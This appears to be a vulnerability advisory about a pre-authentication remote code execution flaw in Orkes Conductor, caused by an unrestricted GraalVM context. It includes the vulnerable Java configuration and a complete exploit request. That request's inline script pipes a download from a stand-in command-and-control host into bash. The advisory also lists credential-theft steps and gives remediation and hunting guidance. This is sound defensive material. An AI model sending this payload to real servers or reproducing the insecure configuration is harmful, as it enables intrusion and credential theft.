CVE-2026-58138: Critical Pre-Auth Remote Code Execution in Orkes Conductor Workflow Platform Under Active Exploitation
Date: September 21, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: Vulnerability Research / Zero-Day & N-Day Analysis / Cloud Security
Tags: Orkes Conductor, Netflix Conductor, CVE-2026-58138, RCE, GraalVM, Microservices, Zero-Day
Executive Summary
A critical unauthenticated Remote Code Execution (RCE) vulnerability tracked as CVE-2026-58138 (CVSS v3.1 Score: 9.8 / Critical) has come under active exploitation in the wild, targeting enterprise deployments of Orkes Conductor—the widely adopted enterprise orchestration and microservices workflow engine built on the foundation of open-source Netflix Conductor.
Discovered in Orkes Conductor versions 3.21.21 through 3.30.1, the vulnerability stems from an insecure implementation of the GraalVM polyglot script execution engine within Conductor's dynamic task evaluation framework. Because workflow execution endpoints could be reached prior to mandatory API token validation, unauthenticated remote attackers can dispatch maliciously formatted workflow definitions containing embedded JavaScript or Python expressions. These expressions exploit an unrestricted HostAccess.ALL GraalVM configuration to escape the polyglot sandbox and invoke arbitrary Java runtime methods, granting attackers immediate operating system command execution under the security context of the Conductor host process.
Threat intelligence teams, including Fortinet and SecurityWeek, have confirmed widespread scanning and active weaponization against internet-accessible Conductor clusters. Because Conductor servers typically sit at the core of enterprise infrastructure—managing secrets, API keys, database credentials, and service mesh tokens to orchestrate distributed cloud workflows—a compromise of this platform frequently grants attackers instantaneous enterprise-wide lateral movement.
Orkes has remediated the vulnerability in version 3.30.2. All organizations utilizing self-managed or cloud-hosted Orkes Conductor clusters must apply immediate remediation.
Technical Deep-Dive: From Workflow Expression to Root Shell
To comprehend how CVE-2026-58138 allows remote code execution without authentication, one must examine how Orkes Conductor evaluates dynamic workflows and handles polyglot scripting languages.
1. Conductor’s Dynamic Workflow Engine
Orkes Conductor coordinates distributed microservices through structured directed acyclic graphs (DAGs). While traditional workflows define tasks in static JSON schemas, Conductor introduced dynamic script tasks—notably INLINE, LAMBDA, DO_WHILE, and SWITCH—that allow workflow authors to perform runtime data transformation using embedded languages like JavaScript or Python.
To execute these scripts with high throughput, Conductor integrates Oracle's GraalVM polyglot runtime.t
+-----------------------------------------------------------------------------------+
| CVE-2026-58138 EXPLOITATION PATH |
|---|+-----------------------------------------------------------------------------------+
Attacker (Unauthenticated) Orkes Conductor API GraalVM Engine
| | |
| 1. POST /api/workflow/execute | |
| [Inline Workflow JSON Payload] | |
|------------------------------------>| |
| | 2. Endpoint parses payload |
| | prior to auth validation |
| | 3. Passes inline script to VM |
| |------------------------------->|
| | |
| | | [INSECURE GraalVM Context]
| | | - HostAccess.ALL enabled!
| | | - allowAllAccess(true)
| | |
| | 4. Escapes Script Sandbox: |
| | Java.type('Runtime').exec() |
| |<-------------------------------|
| |
| | 5. Spawns Reverse Shell / Bash
|<====================================|
| Interactive Root / Service Shell |
2. The Flaw: Unauthenticated Endpoint Exposure
The initial link in the attack chain lies in how Conductor's Spring Boot routing filters process workflow execution requests. In affected builds, the `/api/workflow/execute` (and related dynamic start endpoints) permitted unauthenticated clients to register and immediately trigger ephemeral, one-off workflow definitions (`startWorkflowRequest`) before the security interceptor verified JWT tokens or API access keys.
3. The Root Cause: Permissive GraalVM Host Access
When evaluating an `INLINE` task, Conductor instantiates a GraalVM `org.graalvm.polyglot.Context`. Under secure configurations, the GraalVM context must be locked down using `HostAccess.EXPLICIT`, preventing guest scripts from touching any host Java classes unless specifically annotated with `@HostAccess.Export`.
In affected versions (3.21.21 - 3.30.1), the evaluator initialized the context using:
```java
// Vulnerable initialization in Conductor ScriptEvaluator
Context context = Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // <-- CRITICAL FLAW: Exposes entire JVM classpath
.allowAllAccess(true) // <-- Disables filesystem and process isolation
.build();
Because HostAccess.ALL was enabled, the guest JavaScript environment had full reflective access to the entire underlying Java virtual machine classpath, including foundational classes like java.lang.Runtime, java.lang.ProcessBuilder, and java.lang.System.
4. Exploit Construction & Execution Flow
An attacker crafts a minimal HTTP POST request containing a raw workflow definition:POST /api/workflow/execute HTTP/1.1
Host: conductor.victim-corp.com:8080
Content-Type: application/json
{
"name": "ephemeral_probe_workflow",
"version": 1,
"tasks": [
{
"name": "exploit_inline_task",
"taskReferenceName": "rce_task",
"type": "INLINE",
"inputParameters": {
"evaluatorType": "graaljs",
"expression": "var Runtime = Java.type('java.lang.Runtime'); var proc = Runtime.getRuntime().exec(['/bin/bash', '-c', 'curl http://c2.evil-attacker[.]com/pwn.sh | bash']); proc.waitFor(); 'executed';"
}
}
]
}
Upon receiving this request:
1. The Conductor API server accepts the JSON payload without demanding authorization credentials.
2. The workflow engine schedules and initializes exploit_inline_task.
3. The GraalVM evaluator evaluates the string expression.
4. The guest environment resolves Java.type('java.lang.Runtime') through the permissive interop bridge.
5. The host JVM invokes Runtime.getRuntime().exec(), launching a subordinate /bin/bash process with identical privileges to the Conductor daemon.
6. The host connects outbound to the attacker's command-and-control (C2) server, granting an interactive shell.
Observed In-The-Wild Exploitation Techniques
Threat intelligence telemetry gathered over the past 72 hours reveals multiple threat clusters weaponizing CVE-2026-58138:
1. Initial Mass Reconnaissance: Automated scanners probing public IPv4 ranges for exposed endpoints matching /api/workflow and /swagger-ui.html.
2. Container Breakout & Secret Exfiltration: Because Conductor frequently runs in containerized environments (Kubernetes pods), attackers immediately interrogate the local environment:
* Querying the Kubernetes service account token at /var/run/secrets/kubernetes.io/serviceaccount/token.
* Dumping environment variables (env) to recover database passwords, Redis tokens, and AWS/GCP cloud service credentials.
3. Coinminer Deployment & Botnet Recruitment: Opportunistic actors have deployed XMRig cryptocurrency miners and Mirai-derived DDoS bots into compromised pods.
4. Internal Microservices Pivoting: More sophisticated espionage actors leverage Conductor’s trusted network adjacency to query internal microservices, payment gateways, and backend databases that are intentionally unexposed to the public internet.
Why Workflow Orchestrators Are High-Value Targets
Workflow engines like Conductor, Apache Airflow, and Temporal represent the "nervous system" of cloud architectures:
Architectural Role
Security Risk Upon Compromise
Centralized Credential Store
Conductor holds API keys, service tokens, and database credentials to coordinate downstream tasks across microservices.
Privileged Network Placement
Orchestrator clusters are positioned in trusted core subnets with direct ingress to private databases and VPC endpoints.
Implicit Internal Trust
Outbound requests generated by Conductor are frequently whitelisted by internal firewalls and API gateways.
Vulnerability Details & Scoring Summary
* CVE ID: CVE-2026-58138
* GHSA Reference: GHSA-7x5q-8f6h-rjrc
* CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
* Affected Versions: Orkes Conductor 3.21.21 through 3.30.1
* Patched Version: Orkes Conductor 3.30.2 and later
* CWE Classification: CWE-94 (Improper Control of Generation of Code - Code Injection), CWE-1256 (Improper Restriction of Software Interfaces to Hardware/Host)
Remediation & Mitigation Blueprint
1. Upgrade Immediately (Primary Fix)
Upgrade Orkes Conductor to version 3.30.2 or higher. The official patch:
* Enforces strict mandatory authentication on all workflow registration and execution API routes.
* Refactors the GraalVM context configuration, enforcing HostAccess.EXPLICIT and stripping host class visibility.
* Disables unvetted polyglot language features by default.
2. Immediate Network Isolation
If patching cannot be executed immediately, apply the following emergency network containment measures:
* Revoke Public Ingress: Orkes Conductor API endpoints (/api/*) and management web interfaces must never be exposed directly to the public internet. Restrict access strictly to trusted internal subnets or require access via a zero-trust network access (ZTNA) / VPN gateway.
* Web Application Firewall (WAF) Filtering: Implement ingress WAF rules to block unauthenticated POST requests directed to /api/workflow/execute and /api/workflow containing JSON keys INLINE, evaluatorType, graaljs, or expression.
3. Harden Container Runtimes
Limit the blast radius of any potential application-layer exploit:
* Enforce Non-Root Execution: Ensure Conductor runs as an unprivileged user (e.g., UID 10001), never as root.
* Read-Only Root Filesystem: Deploy container pods with readOnlyRootFilesystem: true, restricting writable areas strictly to ephemeral in-memory emptyDir mount points.
* Drop Kernel Capabilities: Strip all unnecessary Linux capabilities (capabilities: drop: ["ALL"]).
* Restrict Kubernetes Token Mounting: Set automountServiceAccountToken: false on the pod configuration unless explicitly required.
4. Incident Response & Threat Hunting Checklist
Security teams running Orkes Conductor should audit logs for evidence of prior compromise:
* Search web server and ingress logs for unauthenticated POST requests to /api/workflow/execute originating from external IP addresses.
* Inspect process execution trees on Conductor hosts for anomalous subprocesses spawned by the Java process (java -> sh, java -> bash, java -> curl, java -> wget).
* Monitor outbound network connections from Conductor nodes for unexpected external communication, particularly towards unclassified external IP addresses on non-standard ports.
* If indicators of exploitation are discovered, assume all local credentials, cloud service roles, and database connection strings accessible to the cluster have been compromised, and initiate immediate credential rotation.
For technical threat advisories, exploit breakdowns, and real-time cybersecurity coverage, stay tuned to Digital Spying.